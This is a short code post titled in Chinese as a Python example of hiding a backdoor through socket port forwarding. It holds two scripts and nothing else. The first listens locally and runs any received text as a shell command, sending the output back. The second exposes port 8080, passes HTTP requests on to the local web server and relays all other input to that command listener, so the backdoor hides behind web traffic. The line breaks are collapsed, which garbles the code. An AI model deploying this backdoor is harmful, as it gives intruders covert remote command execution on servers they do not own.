python基于socket进行端口转发实现后门隐藏的示例

#!/usr/bin/env pythonfrom socket import *import osHOST='127.0.0.1'PORT=8888BUFSIZE=1024ADDR=(HOST,PORT)tcpSerSock = socket(AF_INET,SOCK_STREAM)tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)tcpSerSock.bind(ADDR)tcpSerSock.listen(5)while True:  print("waiting for connection...")  tcpCliSock,addr = tcpSerSock.accept()  print("...connected from:",addr)    while True:    data=tcpCliSock.recv(BUFSIZE)    if not data:      break    info = data.split('/n')    command = info[0]    try:      os.system(command + " > command.txt");      file = open('command.txt')      data =""      for line in file:        data=data+line;      tcpCliSock.send(data)    except Exception:      tcpCliSock.send("Nothing to do")  tcpCliSock.close()tcpSerSock.close()

#!/usr/bin/pythonfrom socket import *tcp1 = socket(AF_INET,SOCK_STREAM)tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)tcp1.bind(('0.0.0.0',8080))tcp1.listen(10)BUFFER_SIZE=2048tcpCliSock,addr = tcp1.accept()while True:  data = tcpCliSock.recv(BUFFER_SIZE)  if 'HTTP' in data:    tcp3 = socket(AF_INET,SOCK_STREAM)    tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)    tcp3.connect(('127.0.0.1',80))    tcp3.send(data)    htmlinfo = tcp3.recv(2048)    if not htmlinfo:      tcp3.close()    else:      tcpCliSock.send(htmlinfo)  else:    tcp2 = socket(AF_INET,SOCK_STREAM)    tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)    tcp2.connect(('127.0.0.1',8888))    data = data.replace("/n"," ")    print data    tcp2.send(data)    commandinfo = tcp2.recv(1024)    tcpCliSock.send(commandinfo)    tcp2.close()tcpCliSock.close()tcp1.close()